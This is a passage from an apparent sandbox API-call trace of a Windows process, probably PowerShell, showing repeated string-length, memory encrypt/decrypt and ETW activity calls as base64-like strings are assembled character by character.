(param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x175b\x8fce\x2cd6\xfa0\x60d\x418\x8493\xe421") returned 0x20 [0127.780] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x175b\x8fce\x2cd6\xfa0\x60d\x418\x8493\xe421") returned 0x20 [0127.780] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.780] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8岰瞩") returned 0x20 [0127.780] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.780] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x24d3\x3e51\x32ad\x1880\xddcb\xfe90\x99d7\x2e76") returned 0x20 [0127.780] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x24d3\x3e51\x32ad\x1880\xddcb\xfe90\x99d7\x2e76") returned 0x20 [0127.780] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.780] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8t瞩") returned 0x20 [0127.780] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.780] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x5ed3\x10d2\x6371\x8a25\x3573\x9b26\x7483\xcdf4") returned 0x20 [0127.780] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x5ed3\x10d2\x6371\x8a25\x3573\x9b26\x7483\xcdf4") returned 0x20 [0127.780] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.780] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8tt瞩") returned 0x20 [0127.780] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.780] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\xf90d\xb715\x44db\xb05e\xbad7\x761b\x5d54\xb100") returned 0x20 [0127.780] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\xf90d\xb715\x44db\xb05e\xbad7\x761b\x5d54\xb100") returned 0x20 [0127.780] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.780] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttD") returned 0x20 [0127.780] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.780] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130") returned 0x20 [0127.781] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130") returned 0x20 [0127.781] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130") returned 0x20 [0127.781] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\x65\x72\x53\x68\x65\x6c\x6c\x5c") returned 0x28 [0127.781] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.781] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttDc쒾ꈈ뵏햋ԛ각") returned 0x28 [0127.781] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.781] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xcc71\x1cb6\x6250\xd116\xfb45\x7b00\x863b\x2727") returned 0x28 [0127.781] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xcc71\x1cb6\x6250\xd116\xfb45\x7b00\x863b\x2727") returned 0x28 [0127.781] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.781] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttDcKꈈ뵏햋ԛ각") returned 0x28 [0127.781] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.781] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xe5fe\xb7c1\x9b67\x3d14\x74dc\x5445\x92d1\x2be4") returned 0x28 [0127.781] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xe5fe\xb7c1\x9b67\x3d14\x74dc\x5445\x92d1\x2be4") returned 0x28 [0127.781] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.781] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttDcK7ꈈ뵏햋ԛ각") returned 0x28 [0127.781] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.781] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xb43c\x2767\x86c6\x8070\xc130\x2046\xe86d\x19b7") returned 0x28 [0127.781] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xb43c\x2767\x86c6\x8070\xc130\x2046\xe86d\x19b7") returned 0x28 [0127.781] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.781] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttDcK7O뵏햋ԛ각") returned 0x28 [0127.781] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.781] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xc074\x7c8a\xb3c8\xcc7f\xb0ab\x13de\xcf65\x1eab") returned 0x28 [0127.781] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xc074\x7c8a\xb3c8\xcc7f\xb0ab\x13de\xcf65\x1eab") returned 0x28 [0127.781] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.782] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttDcK7OE햋ԛ각") returned 0x28 [0127.782] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.782] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfbc5\xecb6\x3e74\x56e2\x1716\x3909\xb4c0\x63dd") returned 0x28 [0127.782] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfbc5\xecb6\x3e74\x56e2\x1716\x3909\xb4c0\x63dd") returned 0x28 [0127.782] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.782] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttDcK7OEwԛ각") returned 0x28 [0127.782] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.782] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\x885c\x9e84\xb11d\x2b6\xc243\xca34\x751\x977e") returned 0x28 [0127.782] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\x885c\x9e84\xb11d\x2b6\xc243\xca34\x751\x977e") returned 0x28 [0127.782] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.782] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttDcK7OEwD각") returned 0x28 [0127.782] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.782] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xefe7\xd3be\x621\x740\x637d\x8754\xfba2\x4ab5") returned 0x28 [0127.782] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xefe7\xd3be\x621\x740\x637d\x8754\xfba2\x4ab5") returned 0x28 [0127.782] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.782] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttDcK7OEwD2") returned 0x28 [0127.782] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.782] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfc46\x9554\x9bd7\x41fc\x773e\x3264\x54d2\x3860") returned 0x28 [0127.782] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfc46\x9554\x9bd7\x41fc\x773e\x3264\x54d2\x3860") returned 0x28 [0127.782] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfc46\x9554\x9bd7\x41fc\x773e\x3264\x54d2\x3860") returned 0x28 [0127.782] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfc46\x9554\x9bd7\x41fc\x773e\x3264\x54d2\x3860") returned 0x30 [0127.782] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.782] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttDcK7OEwD2H镾䃺돾⛱ᄩࢳ") returned 0x30 [0127.782] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.783] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfc46\x9554\x9bd7\x41fc\x773e\x3264\x54d2\x3860\xbba0\x453e\x8e04\x144f\xade9\x98bc\xd6ab\x96a4") returned 0x30 [0127.783] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfc46\x9554\x9bd7\x41fc\x773e\x3264\x54d2\x3860\xbba0\x453e\x8e04\x144f\xade9\x98bc\xd6ab\x96a4") returned 0x30 [0127.783] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.783] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttDcK7OEwD2HK䃺돾⛱ᄩࢳ") returned 0x30 [0127.783] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.783] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfc46\x9554\x9bd7\x41fc\x773e\x3264\x54d2\x3860\xa8f9\xe2f5\xbe67\x194d\x90e8\x939\x97d4\x259f") returned 0x30 [0127.783] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfc46\x9554\x9bd7\x41fc\x773e\x3264\x54d2\x3860\xa8f9\xe2f5\xbe67\x194d\x90e8\x939\x97d4\x259f") returned 0x30 [0127.783] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.783] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttDcK7OEwD2HKQ䃺돾⛱ᄩࢳ") returned 0x30 [0127.783] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.783] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfc46\x9554\x9bd7\x41fc\x773e\x3264\x54d2\x3860\x9b65\x611a\x8fd1\x42ba\xc010\x23e3\x2eea\x5daa") returned 0x30 [0127.783] SysStringLen (param_1="\xf10e\x9a37\x134d\x2370\x86cb\xc4c\x53e1\x6e5c\x23f8\x99b8\x7ab4\xaceb\xa3e6\xf12b\x1bd6\x8bbd\x26e9\x2f69\x1a38\x7448\xee2a\x4825\x9c0f\x477a\x888b\x6a67\xee3a\x169c\x7fd1\x1ab\x7a78\xc130\xfc46\x9554\x9bd7\x41fc\x773e\x3264\x54d2\x3860\x9b65\x611a\x8fd1\x42ba\xc010\x23e3\x2eea\x5daa") returned 0x30 [0127.783] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.783] SysStringLen (param_1="VNgOEyAkxHEp1kqr15lkFuYAMQAt8ttDcK7OEwD2HKQ=돾⛱ᄩࢳ") returned 0x30 [0127.783] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0127.783] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.783] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.783] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.783] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0127.784] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.784] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.784] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.784] SysStringLen (param_1="") returned 0x8 [0127.784] SysStringLen (param_1="Y") returned 0x8 [0127.784] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.784] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.784] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.784] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.784] SysStringLen (param_1="YW") returned 0x8 [0127.784] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.784] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.784] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.784] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.784] SysStringLen (param_1="YWM") returned 0x8 [0127.784] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.784] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.784] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.784] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.785] SysStringLen (param_1="YWM1") returned 0x8 [0127.785] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.785] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.785] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.785] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.785] SysStringLen (param_1="YWM1O") returned 0x8 [0127.785] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.785] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.785] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.785] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.785] SysStringLen (param_1="YWM1OT") returned 0x8 [0127.785] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.785] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.786] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.786] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.786] SysStringLen (param_1="YWM1OTE") returned 0x8 [0127.786] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.786] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.786] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.786] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.786] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0127.786] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.786] SysStringLen 